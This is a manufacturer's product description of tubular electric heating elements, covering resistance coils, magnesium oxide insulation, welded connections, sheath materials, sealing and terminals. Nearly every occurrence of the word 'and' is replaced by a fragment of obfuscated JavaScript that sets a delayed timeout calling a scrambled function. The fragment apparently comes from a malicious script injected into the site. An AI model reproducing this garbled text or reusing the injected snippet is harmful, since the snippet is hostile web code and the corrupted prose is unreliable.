The most versatile of all electric heating elements, the tubular heater is capable of being formed into virtually any configuration. The basic design consists of a helical coil of nickel-chromium resistance wire precisely centered in a metal sheath. This coil is surrounded by magnesium oxide powder which is vibration loaded to insure even density throughout the length of the heater. This entire assembly is then reduced to the finished diameter, compacting the MgO andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and “freezing” the coil in the center of the heater. The range of ratings, sizes, materials andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and terminations available makes the tubular heater adaptable to many industrial, commercial andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and scientific applications.
Precision Wound Resistance Wire
Nickel Chromium coiled resistor (computer designed). Precisely wound to provide exact heat requirement. Each individual spiral being thoroughly chemically washed to eliminate contamination andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and give a longer element life.
Welded Connection
The connection between terminal pin andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and resistor is securely made by electronic welding or crimping.
Electrical Insulation
The resistor coil is centrally located during manufacture andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and insulated with high purity Magnesium oxide powder. When compacted by rolling or swaging, the magnesium oxide powder provides excellent thermal conductivity andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and dielectric strength.
Sheath Material
A selection of sheath material is available depending on individual customer’s requirements andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and applications. (Please see chart for options). All heaters are fully annealed to allow forming.
Sealing
All heaters are sealed during manufacture to protect against moisture absorption during storage. This will not however serve to protect against liquid infiltration andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and chemical attack. Various sealants are available for special conditions. Please consult factory for further assistance if you require any special needs.
Insulation andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Threaded Terminals
Ceramic or mica insulators ensure the electrical insulation of the terminal stud from the sheath. The standom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andard threaded stud provides a quick andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and easy termination. However, a large selection of termination options is available
